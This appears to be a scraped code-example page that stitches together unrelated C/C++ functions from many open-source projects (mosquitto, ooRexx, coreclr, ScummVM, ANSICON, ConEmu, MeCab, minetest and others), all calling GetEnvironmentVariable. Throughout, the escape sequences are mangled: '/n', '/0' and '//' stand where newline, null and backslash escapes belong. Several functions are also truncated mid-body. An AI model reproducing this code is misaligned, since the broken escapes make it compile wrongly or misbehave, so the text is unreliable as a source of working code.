"Warning: Unable to locate configuration directory, default config not loaded./n");        }    }#else    rc = GetEnvironmentVariable("USERPROFILE", env, 1024);    if(rc > 0 && rc < 1024) {        len = strlen(env) + strlen("//mosquitto_pub.conf") + 1;        loc = malloc(len);        if(pub_or_sub == CLIENT_PUB) {            snprintf(loc, len, "%s//mosquitto_pub.conf", env);        } else {            snprintf(loc, len, "%s//mosquitto_sub.conf", env);        }        loc[len-1] = '/0';    } else {        fprintf(stderr, "Warning: Unable to locate configuration directory, default config not loaded./n");    }#endif    if(loc) {        fptr = fopen(loc, "rt");        if(fptr) {            while(fgets(line, 1024, fptr)) {                if(line[0] == '#') continue; /* Comments */                while(line[strlen(line)-1] == 10 || line[strlen(line)-1] == 13) {                    line[strlen(line)-1] = 0;                }                /* All offset by one "args" here, because real argc/argv has                 * program name as the first entry. */                args[1] = strtok(line, " ");                if(args[1]) {                    args[2] = strtok(NULL, " ");                    if(args[2]) {                        count = 3;                    } else {                        count = 2;                    }                    rc = client_config_line_proc(cfg, pub_or_sub, count, args);                    if(rc) {                        fclose(fptr);                        free(loc);                        return rc;                    }                }            }            fclose(fptr);        }        free(loc);    }    /* Deal with real argc/argv */    rc = client_config_line_proc(cfg, pub_or_sub, argc, argv);    if(rc) return rc;    if(cfg->will_payload && !cfg->will_topic) {//.........这里部分代码省略.........
开发者ID:playground7,项目名称:mqtt,代码行数:101,


示例10: oodResetSysErrCode

static char *searchSoundPath(CSTRING file, RexxCallContext *c){    oodResetSysErrCode(c->threadContext);    // We need a buffer for the path to search, a buffer for the returned full    // file name, (if found,) and a pointer to char (an unused arg to    // SearchPath().)    char *fullFileName = NULL;    char *pFileName;    // Calculate how much room we need for the search path buffer.    uint32_t cchCWD = GetCurrentDirectory(0, NULL);    // Many modern systems no longer have the SOUNDPATH set.    SetLastError(0);    uint32_t cchSoundPath = GetEnvironmentVariable("SOUNDPATH", NULL, 0);    uint32_t rc = GetLastError();    if ( cchSoundPath == 0 && rc != ERROR_ENVVAR_NOT_FOUND )    {        oodSetSysErrCode(c->threadContext, rc);        return NULL;    }    // Allocate our needed buffers.    AutoFree buf = (char *)malloc(cchCWD + cchSoundPath + 3);    fullFileName = (char *)malloc(_MAX_PATH);    if (buf == NULL || fullFileName == NULL)    {        safeFree(fullFileName);        outOfMemoryException(c->threadContext);    }    // Now get the current directory and the sound path.    cchCWD = GetCurrentDirectory(cchCWD + 1, buf);    if (cchCWD == 0)    {        safeFree(fullFileName);        oodSetSysErrCode(c->threadContext);        return NULL;    }    if (cchSoundPath != 0)    {        buf[cchCWD++] = ';';        cchSoundPath = GetEnvironmentVariable("SOUNDPATH", buf + cchCWD, cchSoundPath + 1);        if (cchSoundPath == 0)        {            safeFree(fullFileName);            oodSetSysErrCode(c->threadContext);            return NULL;        }    }    AutoErrorMode errorMode(SEM_FAILCRITICALERRORS);    cchSoundPath = SearchPath(buf, file, NULL, _MAX_PATH, fullFileName, &pFileName);    if (cchSoundPath == 0 || cchSoundPath >= _MAX_PATH)    {        safeFree(fullFileName);        oodSetSysErrCode(c->threadContext);        return NULL;    }    return fullFileName;}
开发者ID:ooRexx,项目名称:ooRexx,代码行数:65,


示例11: main

int __cdecl main(int argc, char *argv[]) {#if WIN32    return PASS;#else    /* Define some buffers needed for the function */    char * pResultBuffer = NULL;    char FirstEnvironmentVariable[] = {"PALTEST"};    char FirstEnvironmentValue[] = {"FIRST"};    char SecondEnvironmentVariable[] = {"paltest"};    char SecondEnvironmentValue[] = {"SECOND"};    DWORD size = 0;    BOOL bRc = TRUE;    /*     * Initialize the PAL and return FAILURE if this fails     */    if(0 != (PAL_Initialize(argc, argv)))    {        return FAIL;    }      /* Set the first environment variable */    bRc = SetEnvironmentVariableA(FirstEnvironmentVariable,                            FirstEnvironmentValue);    if(!bRc)    {        Fail("ERROR: SetEnvironmentVariable failed to set a "            "proper environment variable with error %u./n",            GetLastError());    }     /* Set the second environment Variable */    bRc = SetEnvironmentVariableA(SecondEnvironmentVariable,                            SecondEnvironmentValue);    if(!bRc)    {        Fail("ERROR: SetEnvironmentVariable failed to set a "            "proper environment variable with error %u./n",            GetLastError());    }   /* Normal case, PATH should fit into this buffer */    size = GetEnvironmentVariableA(FirstEnvironmentVariable,                                          pResultBuffer,                                      0);           /* increase size to account for the null char at the end */    size = size + 1;        pResultBuffer = malloc(sizeof(char)*size);    if ( pResultBuffer == NULL )    {        Fail("ERROR: Failed to allocate memory for pResultBuffer pointer./n");    }    /* Try to retrieve the value of the first environment variable */    GetEnvironmentVariable(FirstEnvironmentVariable,                           pResultBuffer,                           size);    if ( pResultBuffer == NULL )    {        free(pResultBuffer);        Fail("ERROR: GetEnvironmentVariable failed to return a value "            "from a proper environment variable with error %u./n",            GetLastError());    }    /* Compare the strings to see that the correct variable was returned */    if(strcmp(pResultBuffer,FirstEnvironmentValue) != 0)    {        Trace("ERROR: The value in the buffer should have been '%s' but "             "was really '%s'./n",FirstEnvironmentValue, pResultBuffer);        free(pResultBuffer);        Fail("");    }    free(pResultBuffer);    /* Reallocate the memory for the string */    pResultBuffer = malloc(sizeof(char)*size);    if ( pResultBuffer == NULL )    {        Fail("ERROR: Failed to allocate memory for pResultBuffer pointer./n");    }    /* Try retrieving the value of the first variable, even though the    second variable has the same spelling and only differs in case *///.........这里部分代码省略.........
开发者ID:0-wiz-0,项目名称:coreclr,代码行数:101,


示例12: ZeroMemory

Common::String OSystem_Win32::getDefaultConfigFileName() {	char configFile[MAXPATHLEN];	OSVERSIONINFO win32OsVersion;	ZeroMemory(&win32OsVersion, sizeof(OSVERSIONINFO));	win32OsVersion.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);	GetVersionEx(&win32OsVersion);	// Check for non-9X version of Windows.	if (win32OsVersion.dwPlatformId != VER_PLATFORM_WIN32_WINDOWS) {		// Use the Application Data directory of the user profile.		if (win32OsVersion.dwMajorVersion >= 5) {			if (!GetEnvironmentVariable("APPDATA", configFile, sizeof(configFile)))				error("Unable to access application data directory");		} else {			if (!GetEnvironmentVariable("USERPROFILE", configFile, sizeof(configFile)))				error("Unable to access user profile directory");			strcat(configFile, "//Application Data");			// If the directory already exists (as it should in most cases),			// we don't want to fail, but we need to stop on other errors (such as ERROR_PATH_NOT_FOUND)			if (!CreateDirectory(configFile, NULL)) {				if (GetLastError() != ERROR_ALREADY_EXISTS)					error("Cannot create Application data folder");			}		}		strcat(configFile, "//ScummVM");		if (!CreateDirectory(configFile, NULL)) {			if (GetLastError() != ERROR_ALREADY_EXISTS)				error("Cannot create ScummVM application data folder");		}		strcat(configFile, "//" DEFAULT_CONFIG_FILE);		FILE *tmp = NULL;		if ((tmp = fopen(configFile, "r")) == NULL) {			// Check windows directory			char oldConfigFile[MAXPATHLEN];			uint ret = GetWindowsDirectory(oldConfigFile, MAXPATHLEN);			if (ret == 0 || ret > MAXPATHLEN)				error("Cannot retrieve the path of the Windows directory");			strcat(oldConfigFile, "//" DEFAULT_CONFIG_FILE);			if ((tmp = fopen(oldConfigFile, "r"))) {				strcpy(configFile, oldConfigFile);				fclose(tmp);			}		} else {			fclose(tmp);		}	} else {		// Check windows directory		uint ret = GetWindowsDirectory(configFile, MAXPATHLEN);		if (ret == 0 || ret > MAXPATHLEN)			error("Cannot retrieve the path of the Windows directory");		strcat(configFile, "//" DEFAULT_CONFIG_FILE);	}	return configFile;}
开发者ID:86400,项目名称:scummvm,代码行数:63,


示例13: main

//int _tmain( int argc, TCHAR* argv[] )int main( void ){  STARTUPINFO si;  PROCESS_INFORMATION pi;  TCHAR*  cmd;  BOOL	  option;  BOOL	  opt_m;  BOOL	  installed;  HMODULE ansi;  int	  rc = 0;  int argc;  LPWSTR* argv = CommandLineToArgvW( GetCommandLineW(), &argc );  if (argc > 1)  {    if (lstrcmp( argv[1], TEXT("--help") ) == 0 ||	(argv[1][0] == '-' && (argv[1][1] == '?' || argv[1][1] == 'h')) ||	(argv[1][0] == '/' && argv[1][1] == '?'))    {      help();      return rc;    }    if (lstrcmp( argv[1], TEXT("--version") ) == 0)    {      _putts( TEXT("ANSICON (" BITS "-bit) version " PVERS " (" PDATE ").") );      return rc;    }  }  option = (argc > 1 && argv[1][0] == '-');  if (option && (_totlower( argv[1][1] ) == 'i' ||		 _totlower( argv[1][1] ) == 'u'))  {    process_autorun( argv[1][1] );    return rc;  }  get_original_attr();  opt_m = FALSE;  if (option && argv[1][1] == 'm')  {    WORD attr = 7;    if (_istxdigit( argv[1][2] ))    {      attr = _istdigit( argv[1][2] ) ? argv[1][2] - '0'				     : (argv[1][2] | 0x20) - 'a' + 10;      if (_istxdigit( argv[1][3]))      {	attr <<= 4;	attr |= _istdigit( argv[1][3] ) ? argv[1][3] - '0'					: (argv[1][3] | 0x20) - 'a' + 10;      }    }    SetConsoleTextAttribute( hConOut, attr );    opt_m = TRUE;    ++argv;    --argc;    option = (argc > 1 && argv[1][0] == '-');  }  installed = (GetEnvironmentVariable( TEXT("ANSICON"), NULL, 0 ) != 0);  if (option && argv[1][1] == 'p')  {    // If it's already installed, there's no need to do anything.    if (installed)      ;    else if (GetParentProcessInfo( &pi ))    {      pi.hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, pi.dwProcessId );      pi.hThread  = OpenThread(  THREAD_ALL_ACCESS,  FALSE, pi.dwThreadId  );      SuspendThread( pi.hThread );      Inject( &pi );      ResumeThread( pi.hThread );      CloseHandle( pi.hThread );      CloseHandle( pi.hProcess );    }    else    {      _putts( TEXT("ANSICON: could not obtain the parent process.") );      rc = 1;    }  }  else  {    ansi = 0;    if (!installed)      ansi = LoadLibrary( TEXT("ANSI" BITS ".dll") );    if (option && (argv[1][1] == 't' || argv[1][1] == 'T'))    {      BOOL title = (argv[1][1] == 'T');      if (argc == 2)      {	argv[2] = L"-";	++argc;//.........这里部分代码省略.........
开发者ID:voxik,项目名称:ansicon,代码行数:101,


示例14: GetEnvironmentVariable

std::string *envvar(char *name){    char value[MAX_PATH];    GetEnvironmentVariable(name, value, MAX_PATH);    return new std::string(value);}
开发者ID:adamlamers,项目名称:iPod_Recovery,代码行数:6,


示例15: Acquire

	bool Acquire()	{		if (gsTempFolder[0])		{			if (IsDotsName(gsTempFolder))				return true;			if (DirectoryExists(gsTempFolder))				return true;			if (CreateDirectory(gsTempFolder, NULL))			{				SetCurrentDirectory(gsTempFolder);				mb_RemoveDir = true; // would be reset on success				return true;			}			ReportError(exit_CreateDirectory, msgTempFolderFailed, gsTempFolder);			if (gbExtractOnly || !gbAutoMode)				return false;		}		else		{			// + "ConEmu160707" (CONEMUVERL) or "ConEmu160707_123456" (CONEMUVERL, hhmmss)			DWORD cchMax = countof(gsTempFolder) - 20;			//DWORD n = GetTempPath(cchMax, gsTempFolder);			DWORD n = GetEnvironmentVariable(L"TEMP", gsTempFolder, cchMax);			if (!n)				n = GetTempPath(cchMax, gsTempFolder);			if (n && (n < cchMax))			{				wchar_t* pszSubDir = gsTempFolder+lstrlen(gsTempFolder);				lstrcpy(pszSubDir, L"ConEmu");				pszSubDir += 6;				lstrcpy(pszSubDir, CONEMUVERL);				pszSubDir += lstrlen(pszSubDir);				if (CreateDirectory(gsTempFolder, NULL))				{					SetCurrentDirectory(gsTempFolder);					mb_RemoveDir = true;					return true;				}				SYSTEMTIME st = {}; GetLocalTime(&st);				wsprintf(pszSubDir, L"_%02i%02i%02i", st.wHour, st.wMinute, st.wSecond);				if (CreateDirectory(gsTempFolder, NULL))				{					SetCurrentDirectory(gsTempFolder);                    mb_RemoveDir = true;					return true;				}			}		}		ReportError(exit_CreateDirectory, msgTempFolderFailed, gsTempFolder);		if (!gbAutoMode)			return false;		// Failed to get/create TEMP path?		// Use our executable folder instead, set temp folder to L"."		gsTempFolder[0] = L'.'; gsTempFolder[1] = 0;		// And just change our current directory (it may be any folder ATM, e.g. system32)		if (ms_SelfPath[0])		{			if (SetCurrentDirectory(ms_SelfPath))			{				DWORD n = GetCurrentDirectory(countof(gsTempFolder), gsTempFolder);				if (!n || (n > countof(gsTempFolder)))				{					// Fail again?					gsTempFolder[0] = L'.'; gsTempFolder[1] = 0;				}			}		}		// if the path is invalid - just do not change cd,		// use current, set by user when they run our exe		return true;	};
开发者ID:2asoft,项目名称:ConEmu,代码行数:79,


示例16: AppMain

int AppMain(){	std::wstring exe_dir;	// Get exe's directory	{		wchar_t exe_path_buf[MAX_PATH + 1];		GetModuleFileName(NULL, exe_path_buf, MAX_PATH);		exe_dir = exe_path_buf;		size_t last_backslash_pos = exe_dir.find_last_of(L"///");		if (last_backslash_pos >= 0)		{			exe_dir = exe_dir.substr(0, last_backslash_pos);		}		else		{			exe_dir = L"";		}	}	// Setup environment variable "PATH"	{		std::wstring env_path;		wchar_t tmp_buf[1];		DWORD ret = GetEnvironmentVariable(L"PATH", tmp_buf, 0);		if (ret > 0)		{			DWORD len = ret;			wchar_t * buf = (wchar_t*)malloc((len + 1) * sizeof(wchar_t));			GetEnvironmentVariable(L"PATH", buf, (len + 1) * sizeof(wchar_t));			env_path = buf;			free(buf);		}		env_path = exe_dir + L"/lib;" + env_path;		SetEnvironmentVariable(L"PATH", env_path.c_str());	}	// Python home	{#if defined(_DEBUG)		Py_SetPythonHome(PYTHON_INSTALL_PATH);#else		Py_SetPythonHome(const_cast<wchar_t*>(exe_dir.c_str()));#endif //_DEBUG	}	// Python module search path	{		std::wstring python_path;		python_path += exe_dir + L"/extension;";				#if defined(_DEBUG)		python_path += exe_dir + L";";		python_path += exe_dir + L"/..;";		python_path += std::wstring(PYTHON_INSTALL_PATH) + L"//Lib;";		python_path += std::wstring(PYTHON_INSTALL_PATH) + L"//Lib//site-packages;";		python_path += std::wstring(PYTHON_INSTALL_PATH) + L"//DLLs;";		#else		python_path += exe_dir + L"/library.zip;";		python_path += exe_dir + L"/lib;";		#endif				Py_SetPath(python_path.c_str());	}	// Initialization	Py_Initialize();	// Setup sys.argv	{		wchar_t * cmdline = GetCommandLine();		int argc;		wchar_t ** argv = CommandLineToArgvW(cmdline, &argc);		PySys_SetArgv(argc, argv);		LocalFree(argv);	}	// Execute python side main script	{		PyObject * module = PyImport_ImportModule("cfiler_main");		if (module == NULL)		{			PyErr_Print();		}		Py_XDECREF(module);		module = NULL;	}//.........这里部分代码省略.........
开发者ID:crftwr,项目名称:cfiler,代码行数:101,


示例17: load_dictionary_resource

bool load_dictionary_resource(Param *param) {  std::string rcfile = param->get<std::string>("rcfile");#ifdef HAVE_GETENV  if (rcfile.empty()) {    const char *homedir = getenv("HOME");    if (homedir) {      std::string s = MeCab::create_filename(std::string(homedir),                                             ".mecabrc");      std::ifstream ifs(s.c_str());      if (ifs) rcfile = s;    }  }  if (rcfile.empty()) {    const char *rcenv = getenv("MECABRC");    if (rcenv) rcfile = rcenv;  }#endif#if defined (HAVE_GETENV) && defined(_WIN32) && !defined(__CYGWIN__)  if (rcfile.empty()) {    char buf[BUF_SIZE];    DWORD len = GetEnvironmentVariable("MECABRC",                                       buf,                                       sizeof(buf));    if (len < sizeof(buf) && len > 0) {      rcfile = buf;    }  }#endif#if defined(_WIN32) && !defined(__CYGWIN__)  HKEY hKey;  char v[BUF_SIZE];  DWORD vt;  DWORD size = sizeof(v);  if (rcfile.empty()) {    RegOpenKeyEx(HKEY_LOCAL_MACHINE, "software//mecab", 0, KEY_READ, &hKey);    RegQueryValueEx(hKey, "mecabrc", 0, &vt,                    reinterpret_cast<BYTE *>(v), &size);    RegCloseKey(hKey);    if (vt == REG_SZ) rcfile = v;  }  if (rcfile.empty()) {    RegOpenKeyEx(HKEY_CURRENT_USER, "software//mecab", 0, KEY_READ, &hKey);    RegQueryValueEx(hKey, "mecabrc", 0, &vt,                    reinterpret_cast<BYTE *>(v), &size);    RegCloseKey(hKey);    if (vt == REG_SZ) rcfile = v;  }  /* for Open JTalk  if (rcfile.empty()) {    vt = GetModuleFileName(DllInstance, v, size);    if (vt != 0) {      char drive[_MAX_DRIVE];      char dir[_MAX_DIR];      _splitpath(v, drive, dir, NULL, NULL);      std::string s = std::string(drive)          + std::string(dir) + std::string("mecabrc");      std::ifstream ifs(s.c_str());      if (ifs) rcfile = s;    }  }  */#endif  /* for Open JTalk  if (rcfile.empty()) rcfile = MECAB_DEFAULT_RC;  if (!param->load(rcfile.c_str())) return false;  */  std::string dicdir = param->get<std::string>("dicdir");  if (dicdir.empty()) dicdir = ".";  // current  remove_filename(&rcfile);  replace_string(&dicdir, "$(rcpath)", rcfile);  param->set<std::string>("dicdir", dicdir, true);  dicdir = create_filename(dicdir, DICRC);  if (!param->load(dicdir.c_str())) return false;  return true;}
开发者ID:STRatANG,项目名称:MMDAgentExperimentEnvironment,代码行数:87,


示例18: FindImageSubsystem

bool FindImageSubsystem(const wchar_t *Module, /*wchar_t* pstrDest,*/ DWORD& ImageSubsystem, DWORD& ImageBits, DWORD& FileAttrs){	if (!Module || !*Module)		return false;	bool Result = false;	//ImageSubsystem = IMAGE_SUBSYSTEM_UNKNOWN;	// Исключения нас не интересуют - команда уже сформирована и отдана в CreateProcess!	//// нулевой проход - смотрим исключения	//// Берем "исключения" из реестра, которые должны исполняться директом,	//// например, некоторые внутренние команды ком. процессора.	//string strExcludeCmds;	//GetRegKey(strSystemExecutor,L"ExcludeCmds",strExcludeCmds,L"");	//UserDefinedList ExcludeCmdsList;	//ExcludeCmdsList.Set(strExcludeCmds);	//while (!ExcludeCmdsList.IsEmpty())	//{	//	if (!StrCmpI(Module,ExcludeCmdsList.GetNext()))	//	{	//		ImageSubsystem=IMAGE_SUBSYSTEM_WINDOWS_CUI;	//		Result=true;	//		break;	//	}	//}	//string strFullName=Module;	LPCWSTR ModuleExt = PointToExt(Module);	wchar_t *strPathExt/*[32767]*/ = NULL; //(L".COM;.EXE;.BAT;.CMD;.VBS;.JS;.WSH");	wchar_t *strPathEnv/*[32767]*/ = NULL;	wchar_t *strExpand/*[32767]*/ = NULL;	wchar_t *strTmpName/*[32767]*/ = NULL;	wchar_t *pszFilePart = NULL;	DWORD nPathExtLen = 0;	LPCWSTR pszPathExtEnd = NULL;	LPWSTR Ext = NULL;	typedef LONG (WINAPI *RegOpenKeyExW_t)(HKEY hKey, LPCTSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult);	RegOpenKeyExW_t _RegOpenKeyEx = NULL;	typedef LONG (WINAPI *RegQueryValueExW_t)(HKEY hKey, LPCTSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData);	RegQueryValueExW_t _RegQueryValueEx = NULL;	typedef LONG (WINAPI *RegCloseKey_t)(HKEY hKey);	RegCloseKey_t _RegCloseKey = NULL;	HMODULE hAdvApi = NULL;			int cchstrPathExt = 32767;	strPathExt = (wchar_t*)malloc(cchstrPathExt*sizeof(wchar_t)); *strPathExt = 0;	int cchstrPathEnv = 32767;	strPathEnv = (wchar_t*)malloc(cchstrPathEnv*sizeof(wchar_t)); *strPathEnv = 0;	int cchstrExpand = 32767;	strExpand = (wchar_t*)malloc(cchstrExpand*sizeof(wchar_t)); *strExpand = 0;	int cchstrTmpName = 32767;	strTmpName = (wchar_t*)malloc(cchstrTmpName*sizeof(wchar_t)); *strTmpName = 0;			nPathExtLen = GetEnvironmentVariable(L"PATHEXT", strPathExt, cchstrPathExt-2);	if (!nPathExtLen)	{		_wcscpy_c(strPathExt, cchstrPathExt, L".COM;.EXE;.BAT;.CMD;.VBS;.JS;.WSH");		nPathExtLen = lstrlen(strPathExt);	}	pszPathExtEnd = strPathExt+nPathExtLen;	// Разбить на токены	strPathExt[nPathExtLen] = strPathExt[nPathExtLen+1] = 0;	Ext = wcschr(strPathExt, L';');	while (Ext)	{		*Ext = 0;		Ext = wcschr(Ext+1, L';');	}	TODO("Проверить на превышение длин строк");	// первый проход - в текущем каталоге	LPWSTR pszExtCur = strPathExt;	while (pszExtCur < pszPathExtEnd)	{		Ext = pszExtCur;		pszExtCur = pszExtCur + lstrlen(pszExtCur)+1;		_wcscpyn_c(strTmpName, cchstrTmpName, Module, cchstrTmpName); //-V501		if (!ModuleExt)		{			if (!*Ext)				continue;			_wcscatn_c(strTmpName, cchstrTmpName, Ext, cchstrTmpName);		}		if (GetImageSubsystem(strTmpName, ImageSubsystem, ImageBits/*16/32/64*/, FileAttrs))		{			Result = true;			goto wrap;		}		if (ModuleExt)		{			break;		}//.........这里部分代码省略.........
开发者ID:bradgearon,项目名称:ConEmu,代码行数:101,


示例19: access

int access(const char *filename, int mode){	char extension[_MAX_FNAME];	DWORD attribs;	size_t extlen;	const char *extptr;	const char *begin, *end;	int isx, hasext, trypathext = 0;	/* once: get default PATHEXT or use empty exts */	if (!*exts) {		DWORD rc;		/* not initialized */		rc = GetEnvironmentVariable("PATHEXT", exts, sizeof(exts));		if ((rc == 0) || (rc >= sizeof(exts)))			*exts = 0;	}	if (!filename) {		errno = ENOENT;		return (-1);	}	/* search for the extension starting at the end */	extptr = filename + strlen(filename) - 1;	hasext = 0;	while (extptr > filename && !ISPATHSEP(*extptr)) {		if (*extptr == '.' && *(extptr - 1) != ':' && !ISPATHSEP(*(extptr - 1))) {			hasext++;			break;		}		extptr--;	}	if (hasext) 		attribs = get_file_attributes(filename, extptr, hasext, mode, &isx);	else		attribs = get_file_attributes(filename, "", hasext, mode, &isx);	/* if mode != X_OK or file exists or filename already has an extension ignore PATHEXT */	if ((mode != X_OK) || (attribs != (DWORD)-1) || hasext) {		begin = ".";		end = "";	} else {		/* dir/file name not found and no extension */		begin = exts;		end = exts;		trypathext = 1;	}	while (*begin) {		if (trypathext) {			extlen = pgetext(&begin, &end, extension, sizeof(extension));			if (!*begin)				break;			if (extlen)				attribs = get_file_attributes(filename, extension, hasext, mode, &isx);			else				attribs = (DWORD)(-1);		}		if (attribs != (DWORD)(-1)) {			/* file or directory found */			if (mode & X_OK) {				if (attribs & FILE_ATTRIBUTE_DIRECTORY)					break;				/* appending pathext may find a directory ! */				if (trypathext || isx)					return (0);				break;			} else if ((mode & W_OK) && (attribs & FILE_ATTRIBUTE_READONLY)) {				break;			}			/* R_OK is always OK */			return (0);		}		begin = pgetnext(&begin, &end);	}	if (attribs == (DWORD)(-1))		errno = ENOENT;	else		errno = EACCES;	return (-1);}
开发者ID:oldfaber,项目名称:wzsh,代码行数:83,


示例20: WndProc

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam){	static HWND   hwndList, hwndText ;	int                                  iIndex, iLength, cxChar, cyChar ;	TCHAR                         *      pVarName, * pVarValue ;	switch (message)	{	case   WM_CREATE :		cxChar = LOWORD (GetDialogBaseUnits ()) ;		cyChar = HIWORD (GetDialogBaseUnits ()) ;		// Create listbox and static text windows.		hwndList = CreateWindow (TEXT ("listbox"), NULL,			WS_CHILD | WS_VISIBLE | LBS_STANDARD,			cxChar, cyChar * 3,			cxChar * 160 + GetSystemMetrics (SM_CXVSCROLL),			cyChar * 5,			hwnd, (HMENU) ID_LIST,			(HINSTANCE) GetWindowLong (hwnd, GWL_HINSTANCE),			NULL) ;		hwndText = CreateWindow (TEXT ("static"), NULL,			WS_CHILD | WS_VISIBLE | SS_LEFT,			cxChar, cyChar,			GetSystemMetrics (SM_CXSCREEN), cyChar,			hwnd, (HMENU) ID_TEXT,			(HINSTANCE) GetWindowLong (hwnd, GWL_HINSTANCE),			NULL) ;		FillListBox (hwndList) ;		return 0 ;	case   WM_SETFOCUS :		SetFocus (hwndList) ;		return 0 ;	case   WM_COMMAND :		if (LOWORD (wParam) == ID_LIST && HIWORD (wParam) == LBN_SELCHANGE)		{			// Get current selection.			iIndex  = SendMessage (hwndList, LB_GETCURSEL, 0, 0) ;			iLength = SendMessage (hwndList, LB_GETTEXTLEN, iIndex, 0) + 1 ;			pVarName = (TCHAR*)calloc (iLength, sizeof (TCHAR)) ;			SendMessage (hwndList, LB_GETTEXT, iIndex, (LPARAM) pVarName) ;			// Get environment string.			iLength = GetEnvironmentVariable (pVarName, NULL, 0) ;			pVarValue = (TCHAR*)calloc (iLength, sizeof (TCHAR)) ;			GetEnvironmentVariable (pVarName, pVarValue, iLength) ;			// Show it in window.//.........这里部分代码省略.........
开发者ID:chenhz2284,项目名称:cpp_lib,代码行数:101,


示例21: initializePaths

//.........这里部分代码省略.........	char *cwd = getcwd(NULL, 0);	pathRemoveFile(cwd, '/');	path_share = std::string(cwd);	path_user = std::string(cwd);	#endif#else // RUN_IN_PLACE	/*		Use platform-specific paths otherwise	*/	infostream<<"Using system-wide paths (NOT RUN_IN_PLACE)"<<std::endl;	/*		Windows	*/	#if defined(_WIN32)	const DWORD buflen = 1000; // FIXME: Surely there is a better way to do this	char buf[buflen];	DWORD len;	// Find path of executable and set path_share relative to it	len = GetModuleFileName(GetModuleHandle(NULL), buf, buflen);	FATAL_ERROR_IF(len >= buflen, "Overlow");	pathRemoveFile(buf, '//');	// Use "./bin/.."	path_share = std::string(buf) + "//..";	// Use "C:/Documents and Settings/user/Application Data/<PROJECT_NAME>"	len = GetEnvironmentVariable("APPDATA", buf, buflen);	FATAL_ERROR_IF(len >= buflen, "Overlow");	path_user = std::string(buf) + DIR_DELIM + lowercase(PROJECT_NAME);	/*		Linux	*/	#elif defined(linux)	// Get path to executable	std::string bindir = "";	{		char buf[BUFSIZ];		memset(buf, 0, BUFSIZ);		if (readlink("/proc/self/exe", buf, BUFSIZ-1) == -1) {			errorstream << "Unable to read bindir "<< std::endl;#ifndef __ANDROID__			FATAL_ERROR("Unable to read bindir");#endif		} else {			pathRemoveFile(buf, '/');			bindir = buf;		}	}	// Find share directory from these.	// It is identified by containing the subdirectory "builtin".	std::list<std::string> trylist;	std::string static_sharedir = STATIC_SHAREDIR;	if(static_sharedir != "" && static_sharedir != ".")		trylist.push_back(static_sharedir);	trylist.push_back(			bindir + DIR_DELIM + ".." + DIR_DELIM + "share" + DIR_DELIM + lowercase(PROJECT_NAME));
开发者ID:racam,项目名称:minetest,代码行数:67,


示例22: DirectDrawCreate

//.........这里部分代码省略.........    else    {        This->adjmouse = FALSE;    }    GetPrivateProfileStringA("ddraw", "mhack", "TRUE", tmp, sizeof(tmp), ini_path);    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')    {        This->mhack = TRUE;    }    else    {        This->mhack = FALSE;    }    GetPrivateProfileStringA("ddraw", "devmode", "FALSE", tmp, sizeof(tmp), ini_path);    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')    {        This->devmode = TRUE;        This->mhack = FALSE;    }    else    {        This->devmode = FALSE;    }    GetPrivateProfileStringA("ddraw", "vsync", "FALSE", tmp, sizeof(tmp), ini_path);    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')    {        This->vsync = TRUE;    }    else    {        This->vsync = FALSE;    }    GetPrivateProfileStringA("ddraw", "sensitivity", "0", tmp, sizeof(tmp), ini_path);    This->sensitivity = strtof(tmp, NULL);    GetPrivateProfileStringA("ddraw", "vhack", "false", tmp, sizeof(tmp), ini_path);    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')    {        This->vhack = 2;    }    else if(tolower(tmp[0]) == 'a')    {        This->vhack = 1;    }    else    {        This->vhack = 0;    }    GetPrivateProfileStringA("ddraw", "renderer", "gdi", tmp, sizeof(tmp), ini_path);    if(tolower(tmp[0]) == 'd' || tolower(tmp[0]) == 'd')    {        printf("DirectDrawCreate: Using dummy renderer/n");        This->renderer = render_dummy_main;    }    else if(tolower(tmp[0]) == 's' || tolower(tmp[0]) == 'g')    {        printf("DirectDrawCreate: Using software renderer/n");        This->renderer = render_soft_main;    }    else    {        printf("DirectDrawCreate: Using OpenGL renderer/n");        This->renderer = render_main;    }    GetPrivateProfileStringA("ddraw", "singlecpu", "true", tmp, sizeof(tmp), ini_path);    if (tolower(tmp[0]) == 'y' || tolower(tmp[0]) == 't' || tolower(tmp[0]) == 'e' || tmp[0] == '1')    {        printf("DirectDrawCreate: Setting CPU0 affinity/n");        SetProcessAffinityMask(GetCurrentProcess(), 1);    }    /* last minute check for cnc-plugin */    if (GetEnvironmentVariable("DDRAW_WINDOW", tmp, sizeof(tmp)) > 0)    {        This->hWnd = (HWND)atoi(tmp);        This->renderer = render_dummy_main;        This->windowed = TRUE;        if (GetEnvironmentVariable("DDRAW_WIDTH", tmp, sizeof(tmp)) > 0)        {            This->render.width = atoi(tmp);        }        if (GetEnvironmentVariable("DDRAW_HEIGHT", tmp, sizeof(tmp)) > 0)        {            This->render.height = atoi(tmp);        }        printf("DirectDrawCreate: Detected cnc-plugin at window %08X in %dx%d/n", (unsigned int)This->hWnd, This->render.width, This->render.height);    }    return DD_OK;}
开发者ID:Iran,项目名称:cnc-ddraw,代码行数:101,


示例23: setup_environment

